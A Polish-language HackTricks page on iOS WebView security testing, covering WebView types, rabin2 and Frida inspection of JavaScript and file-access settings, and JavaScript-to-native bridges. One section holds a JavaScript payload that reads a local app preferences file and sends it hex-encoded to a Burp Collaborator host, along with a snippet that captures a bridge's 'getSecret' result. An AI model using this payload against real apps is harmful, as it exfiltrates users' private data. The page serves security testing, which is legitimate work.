iOS WebViews

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Kod tej strony został wyodrębniony stąd. Sprawdź stronę, aby uzyskać dalsze szczegóły.

Typy WebViews

WebViews są wykorzystywane w aplikacjach do interaktywnego wyświetlania treści internetowych. Różne typy WebViews oferują różne funkcje i zabezpieczenia dla aplikacji iOS. Oto krótki przegląd:

  • UIWebView, który od iOS 12 nie jest już zalecany ze względu na brak obsługi wyłączania JavaScript, co czyni go podatnym na wstrzykiwanie skryptów i ataki Cross-Site Scripting (XSS).

  • WKWebView jest preferowaną opcją do włączania treści internetowych do aplikacji, oferując lepszą kontrolę nad treścią i funkcjami zabezpieczeń. JavaScript jest domyślnie włączony, ale można go wyłączyć, jeśli jest to konieczne. Obsługuje również funkcje zapobiegające automatycznemu otwieraniu okien przez JavaScript i zapewnia, że cała treść jest ładowana w sposób bezpieczny. Dodatkowo, architektura WKWebView minimalizuje ryzyko uszkodzenia pamięci wpływające na główny proces aplikacji.

  • SFSafariViewController oferuje standaryzowane doświadczenie przeglądania stron internetowych w aplikacjach, rozpoznawalne dzięki swojemu charakterystycznemu układowi, obejmującemu tylko pole adresu do odczytu, przyciski udostępniania i nawigacji oraz bezpośredni link do otwierania treści w Safari. W przeciwieństwie do WKWebView, JavaScript nie może być wyłączony w SFSafariViewController, który również dzieli pliki cookie i dane z Safari, zachowując prywatność użytkownika w aplikacji. Musi być wyświetlany w widocznym miejscu zgodnie z wytycznymi App Store.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

Podsumowanie eksploracji konfiguracji WebViews

Przegląd analizy statycznej

W procesie badania konfiguracji WebViews skupiamy się na dwóch głównych typach: UIWebView i WKWebView. Aby zidentyfikować te WebViews wewnątrz pliku binarnego, używane są polecenia, które wyszukują określone odwołania do klas i metody inicjalizacji.

  • Identyfikacja UIWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

To polecenie pomaga w zlokalizowaniu wystąpień UIWebView, poprzez wyszukiwanie tekstów z nim związanych w pliku binarnym.

  • Identyfikacja WKWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Podobnie jak w przypadku WKWebView, to polecenie wyszukuje w binarnym pliku tekstowe ciągi znaków wskazujące na jego użycie.

Ponadto, aby znaleźć sposób inicjalizacji WKWebView, wykonuje się następujące polecenie, które skupia się na sygnaturze metody związanej z jego inicjalizacją:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Weryfikacja konfiguracji JavaScript

Dla WKWebView zaleca się wyłączenie JavaScript, chyba że jest to konieczne. Przeszukiwany jest skompilowany plik binarny w celu potwierdzenia, czy właściwość javaScriptEnabled jest ustawiona na false, co oznacza wyłączenie JavaScriptu:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Tylko weryfikacja bezpiecznej zawartości

WKWebView oferuje możliwość identyfikacji problemów z mieszana zawartością, w przeciwieństwie do UIWebView. Sprawdzane jest to za pomocą właściwości hasOnlySecureContent, aby upewnić się, że wszystkie zasoby strony są ładowane za pomocą bezpiecznych połączeń. Wyszukiwanie w skompilowanym pliku binarnym jest wykonywane w następujący sposób:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Wnioski z analizy dynamicznej

Analiza dynamiczna polega na sprawdzaniu sterty w poszukiwaniu instancji WebView i ich właściwości. Do tego celu używany jest skrypt o nazwie webviews_inspector.js, który działa na instancjach UIWebView, WKWebView i SFSafariViewController. Rejestruje informacje o znalezionych instancjach, w tym adresach URL i ustawieniach związanych z JavaScriptem i bezpieczną zawartością.

Inspekcję sterty można przeprowadzić za pomocą ObjC.choose(), aby zidentyfikować instancje WebView i sprawdzić właściwości javaScriptEnabled i hasonlysecurecontent.

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

Skrypt jest wykonywany za pomocą:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Podstawowe wyniki:

  • Znaleziono i sprawdzono wystąpienia WebViews.

  • Zweryfikowano włączenie JavaScriptu i ustawienia bezpiecznej zawartości.

To podsumowanie zawiera kluczowe kroki i polecenia związane z analizą konfiguracji WebView za pomocą statycznych i dynamicznych podejść, skupiając się na funkcjach zabezpieczeń, takich jak włączanie JavaScriptu i wykrywanie mieszanej zawartości.

Obsługa protokołów WebView

Obsługa zawartości w WebView jest istotnym aspektem, zwłaszcza przy pracy z różnymi protokołami, takimi jak http(s)://, file:// i tel://. Te protokoły umożliwiają ładowanie zarówno zdalnej, jak i lokalnej zawartości w aplikacjach. Podkreśla się, że podczas ładowania lokalnej zawartości należy podjąć środki ostrożności, aby zapobiec wpływaniu przez użytkowników na nazwę lub ścieżkę pliku oraz edytowaniu samej zawartości.

WebViews oferują różne metody ładowania zawartości. W przypadku UIWebView, obecnie przestarzałego, używane są metody takie jak loadHTMLString:baseURL: i loadData:MIMEType:textEncodingName:baseURL:. WKWebView natomiast korzysta z loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL: i loadRequest: do ładowania zawartości internetowej. Metody takie jak pathForResource:ofType:, URLForResource:withExtension: i init(contentsOf:encoding:) są zwykle wykorzystywane do ładowania lokalnych plików. Metoda loadFileURL:allowingReadAccessToURL: jest szczególnie godna uwagi ze względu na możliwość ładowania określonego adresu URL lub katalogu do WebView, co potencjalnie może ujawnić poufne dane, jeśli zostanie podany katalog.

Aby znaleźć te metody w kodzie źródłowym lub skompilowanym pliku binarnym, można użyć polecenia podobnego do poniższego:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

W odniesieniu do dostępu do plików, UIWebView pozwala na to powszechnie, podczas gdy WKWebView wprowadza ustawienia allowFileAccessFromFileURLs i allowUniversalAccessFromFileURLs do zarządzania dostępem z adresów URL plików, przy czym oba są domyślnie ustawione na false.

Przykład skryptu Frida jest dostarczony do sprawdzenia konfiguracji WKWebView dla ustawień zabezpieczeń:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Ostatnim przykładem jest ładunek JavaScript, który ma na celu wyciek lokalnych plików i pokazuje potencjalne ryzyko związane z niewłaściwie skonfigurowanymi WebView. Ten ładunek koduje zawartość plików w formacie szesnastkowym przed przesłaniem ich na serwer, co podkreśla znaczenie rygorystycznych środków bezpieczeństwa w implementacjach WebView.

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Metody natywne ujawnione przez WebViews

Zrozumienie interfejsów natywnych WebView w systemie iOS

Od wersji iOS 7 Apple udostępnił interfejsy API do komunikacji między JavaScriptem w WebView a natywnymi obiektami Swift lub Objective-C. Integracja ta jest głównie ułatwiana przez dwie metody:

  • JSContext: Funkcja JavaScript jest automatycznie tworzona, gdy blok Swift lub Objective-C jest połączony z identyfikatorem w JSContext. Pozwala to na bezproblemową integrację i komunikację między JavaScriptem a kodem natywnym.

  • Protokół JSExport: Dziedzicząc protokół JSExport, natywne właściwości, metody instancji i metody klasy mogą być udostępniane JavaScriptowi. Oznacza to, że wszelkie zmiany dokonane w środowisku JavaScript są odzwierciedlane w środowisku natywnym i vice versa. Jednak ważne jest, aby upewnić się, że wrażliwe dane nie są nieumyślnie ujawniane za pomocą tej metody.

Dostęp do JSContext w Objective-C

W Objective-C, JSContext dla UIWebView można uzyskać za pomocą następującego kodu:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Komunikacja z WKWebView

Dla WKWebView bezpośredni dostęp do JSContext nie jest dostępny. Zamiast tego, wykorzystuje się przekazywanie wiadomości za pomocą funkcji postMessage, umożliwiając komunikację JavaScriptu z natywną aplikacją. Obsługa tych wiadomości jest ustawiana w następujący sposób, umożliwiając bezpieczną interakcję JavaScriptu z aplikacją natywną:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interakcja i testowanie

JavaScript może współdziałać z warstwą natywną poprzez zdefiniowanie obsługiwacza wiadomości skryptu. Pozwala to na operacje takie jak wywoływanie funkcji natywnych z strony internetowej:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Aby przechwycić i manipulować wynikiem wywołania funkcji natywnej, można zastąpić funkcję zwrotną wewnątrz kodu HTML:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

Strona natywna obsługuje wywołanie JavaScript, jak pokazano w klasie JavaScriptBridgeMessageHandler, gdzie wynik operacji, takich jak mnożenie liczb, jest przetwarzany i wysyłany z powrotem do JavaScript w celu wyświetlenia lub dalszej manipulacji:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Debugowanie iOS WebViews

(Tutorial oparty na https://blog.vuplex.com/debugging-webviews)

Aby efektywnie debugować zawartość internetową w iOS webviews, konieczne jest skonfigurowanie specjalnego środowiska za pomocą narzędzi deweloperskich Safari, ponieważ wiadomości wysyłane do console.log() nie są wyświetlane w dziennikach Xcode. Oto uproszczony przewodnik, podkreślający kluczowe kroki i wymagania:

  • Przygotowanie na urządzeniu iOS: Wymagane jest aktywowanie narzędzia Safari Web Inspector na urządzeniu iOS. Można to zrobić, przechodząc do Ustawienia > Safari > Zaawansowane i włączając Web Inspector.

  • Przygotowanie na urządzeniu macOS: Na komputerze z systemem macOS, musisz włączyć narzędzia deweloperskie w Safari. Uruchom Safari, przejdź do Safari > Preferencje > Zaawansowane i wybierz opcję Pokaż menu Deweloper.

  • Połączenie i debugowanie: Po podłączeniu urządzenia iOS do komputera z systemem macOS i uruchomieniu aplikacji, użyj Safari na urządzeniu macOS, aby wybrać webview, który chcesz debugować. Przejdź do Develop w pasku menu Safari, najedź na nazwę urządzenia iOS, aby zobaczyć listę instancji webview, a następnie wybierz instancję, którą chcesz sprawdzić. Otworzy się nowe okno Safari Web Inspector w tym celu.

Jednak pamiętaj o ograniczeniach:

  • Debugowanie za pomocą tej metody wymaga urządzenia z systemem macOS, ponieważ polega na Safari.

  • Tylko webview w aplikacjach załadowanych na urządzenie za pomocą Xcode są uprawnione do debugowania. Webview w aplikacjach zainstalowanych za pośrednictwem App Store lub Apple Configurator nie mogą być debugowane w ten sposób.

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated